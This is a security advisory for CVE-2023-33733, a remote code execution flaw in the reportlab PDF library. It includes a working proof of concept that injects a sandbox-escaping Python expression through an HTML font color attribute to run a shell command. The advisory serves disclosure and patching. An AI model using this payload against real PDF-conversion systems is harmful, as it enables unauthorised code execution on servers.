Remote Code Execution (RCE) Affecting reportlab package, versions [,3.6.13)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-REPORTLAB-5664897
- published 2 Jun 2023
- disclosed 2 Jun 2023
- credit Elyas Damej
Introduced: 2 Jun 2023
CVE-2023-33733 Open this link in a new tabHow to fix?
Upgrade reportlab
to version 3.6.13 or higher.
Overview
reportlab is a Python library for generating PDFs and graphics.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient checks in the ‘rl_safe_eval’ function. Attackers can inject malicious code into an HTML file that will later be converted to PDF using software that relies on the ReportLab library. To exploit the vulnerability, the entire malicious code must be executed with eval
in a single expression.
Note:
This exploit is possible only if users allow hostile input to be passed into colors
- for example if accepting the URL of an HTML page someone else had written, with a generic conversion routine.
PoC
from reportlab.platypus import SimpleDocTemplate, Paragraph
from io import BytesIO
stream_file = BytesIO()
content = []
def add_paragraph(text, content):
""" Add paragraph to document content"""
content.append(Paragraph(text))
def get_document_template(stream_file: BytesIO):
""" Get SimpleDocTemplate """
return SimpleDocTemplate(stream_file)
def build_document(document, content, **props):
""" Build pdf document based on elements added in `content`"""
document.build(content, **props)
doc = get_document_template(stream_file)
#
# THE INJECTED PYTHON CODE THAT IS PASSED TO THE COLOR EVALUATOR
#[
# [
# [
# [
# ftype(ctype(0, 0, 0, 0, 3, 67, b't\x00d\x01\x83\x01\xa0\x01d\x02\xa1\x01\x01\x00d\x00S\x00',
# (None, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\x12\x01'), {})()
# for ftype in [type(lambda: None)]
# ]
# for ctype in [type(getattr(lambda: {None}, Word('__code__')))]
# ]
# for Word in [orgTypeFun('Word', (str,), {
# 'mutated': 1,
# 'startswith': lambda self, x: False,
# '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x,
# 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
# '__hash__': lambda self: hash(str(self))
# })]
# ]
# for orgTypeFun in [type(type(1))]
#]
add_paragraph("""
<para>
<font color="[ [ [ [ ftype(ctype(0, 0, 0, 0, 3, 67, b't\\x00d\\x01\\x83\\x01\\xa0\\x01d\\x02\\xa1\\x01\\x01\\x00d\\x00S\\x00', (None, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\\x12\\x01'), {})() for ftype in [type(lambda: None)] ] for ctype in [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">
exploit
</font>
</para>""", content)
build_document(doc, content)